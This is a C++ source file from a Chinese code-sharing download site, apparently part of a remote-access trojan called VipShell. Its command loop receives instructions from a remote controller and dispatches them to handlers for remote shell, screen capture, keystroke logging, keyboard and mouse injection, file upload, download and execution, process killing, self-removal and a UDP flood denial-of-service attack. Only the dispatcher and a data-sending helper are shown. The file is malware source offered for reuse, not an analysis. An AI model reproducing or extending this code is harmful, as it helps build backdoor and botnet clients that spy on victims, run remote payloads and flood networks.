⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 defcommandproc.cpp

📁 软件源代码,共享。有2个文件
💻 CPP
字号:
#include ".\defcommandproc.h"

CDefCommandProc::CDefCommandProc()
{
	m_hServer = NULL;
	m_hServerManage = NULL;
	
//	NewThread(0, 0, 0, 0);
}

CDefCommandProc::~CDefCommandProc(void)
{
}
void CDefCommandProc::SetBindVipShellCTcpClient(CVipShellCTcpClient* hServer,CVipShellEx* hServerManage )
{
	m_hServer = hServer;
	m_hServerManage = hServerManage;
}
void CDefCommandProc::DoCommandProc()
{
	CVipShellCTcpClient* hServer = m_hServer;
	tagVipShellCmd cmdInfo;
	int nRet;
	DWORD dwRecvNull = 0;
	while(true)
	{
		if(hServer == NULL)
			continue;
		if( ! hServer->IsOpened() )
			return ;
		nRet = hServer->Recv(&cmdInfo, sizeof(tagVipShellCmd));
		if( nRet == SOCKET_ERROR)
			return ;
		if(nRet == 0)
		{
			dwRecvNull++;
			if(dwRecvNull == 30)
				hServer->Close();
			continue;
		}
		else
			dwRecvNull = 0;
		if( cmdInfo.dwCmd == SHELL_CMD_DOWORK)
		{
			OnCmd_GetDoWork(&cmdInfo);

		}else if ( cmdInfo.dwCmd == SHELL_CMD_GETSCREEN)
		{
			OnCmd_GetScreen(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_GETSYSTEMINFO)
		{
			OnCmd_GetSystemInfo(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_GETSHELL)
		{
			OnCmd_GetShell(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_KEYDOWN)
		{
			OnKeyDownd(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_KEYUP)
		{
			OnKeyUp(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_MOUSEMOVE)
		{
			OnMouseMove(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_LBUTTONDOWN)
		{
			OnLButtonDown(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_LBUTTONUP)
		{
			OnLButtonUp(&cmdInfo);
		}else if( cmdInfo.dwCmd == SHELL_CMD_LBUTTONDBLCLK)
		{
			OnLButtonDblclk(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_RBUTTONDOWN)
		{
			OnRButtonDown(&cmdInfo);
		}else if ( cmdInfo.dwCmd == SHELL_CMD_RBUTTONUP )
		{
			OnRButtonUp(&cmdInfo);
		}else if ( cmdInfo.dwCmd == SHELL_CMD_RBUTTONDBLCLK )
		{
			OnRButtonDblclk(&cmdInfo);
		}else if ( cmdInfo.dwCmd == SHELL_CMD_KEYCTRLALTDEL)
		{
			OnKeyCtrlAltDel(&cmdInfo);
		}else if ( cmdInfo.dwCmd == SHELL_CMD_GETCAP)
		{
			OnGetCap(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_GETROOT)
		{
			OnFileManageGetRoot(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_GETFILEPATH)
		{
			OnFileManageGetFilePath(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_GETFILEMANAGE)
		{
			OnCmd_GetFileManage(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_DELETEFILE)
		{
			OnFileManageDelFile(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_RUNFILE)
		{
			OnFileManageRunFile(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_MOVEFILE)
		{
			OnFileManageMoveFile(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_DWONFILE)
		{
			OnFileManageDownFile(&cmdInfo);
		}else if (cmdInfo.dwCmd == FILE_UPFILE)
		{
			OnFileManageUpFile(&cmdInfo);
		}else if( cmdInfo.dwCmd  == FILE_CREATEDIR )
		{
			OnFileManageCreateDir(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_GETPROCESSLIST)
		{
			OnCmd_GetProcessList(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_KILLPROCESS)
		{
			OnCmd_KillProcess(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_GETKEYLOG )
		{
			OnCmd_GetKeyLog(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_DOWNFILERUN)
		{
			OnCmd_DownFileRun(&cmdInfo);
		}else if (cmdInfo.dwCmd == SHELL_CMD_SETCONFIG)
		{
			OnCmd_SaveConfig(&cmdInfo);
		}


		else if (cmdInfo.dwCmd == SHELL_CMD_SHUTDOWN)
		{
			OnCmd_Shutdown(&cmdInfo);
		}
		else if (cmdInfo.dwCmd == SHELL_CMD_REBOOT)
		{
			OnCmd_Reboot(&cmdInfo);
		}
		else if (cmdInfo.dwCmd == SHELL_CMD_REMOVE)//Remove
		{
			OnCmd_RemoveServer(&cmdInfo);
		}

		else if (cmdInfo.dwCmd == SHELL_CMD_DDOS_UDPFLOOD)//UDP洪水攻击
		{
			OnCmd_DDOSUdpFlood(&cmdInfo);
		}

		else if (cmdInfo.dwCmd == SHELL_CMD_QUERYPROCESS)//根据进程筛选
		{
			OnCmd_QueryProcess(&cmdInfo);
		}
		else if (cmdInfo.dwCmd == SHELL_CMD_QUERYWINDOW)//根据窗口筛选
		{
			OnCmd_QueryWindow(&cmdInfo);
		}

	}
}

int CDefCommandProc::_SendBuffData(BYTE* pData, DWORD dwlen)
{
	DWORD dwSendBuflen = 16 * 1024;
	DWORD dwSendLen = 0;
//	DWORD dwSendTime = dwlen / dwSendBuflen;
	DWORD dwSended;
	DWORD dwRbuf = dwlen;
	while(dwSendLen < dwlen)
	{
		
		dwRbuf = (dwlen - dwSendLen);
		if( dwRbuf >=  dwSendBuflen)
		{
			dwSended = m_hServer->Send(pData + dwSendLen, dwSendBuflen);
			if( dwSended == SOCKET_ERROR)
		    	return dwSended;
		}
		else
		{
			dwSended = m_hServer->Send(pData + dwSendLen, dwRbuf);
			if( dwSended == SOCKET_ERROR)
		    	return dwSended;
		}
		dwSendLen += dwSended;
	}
	return dwlen;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -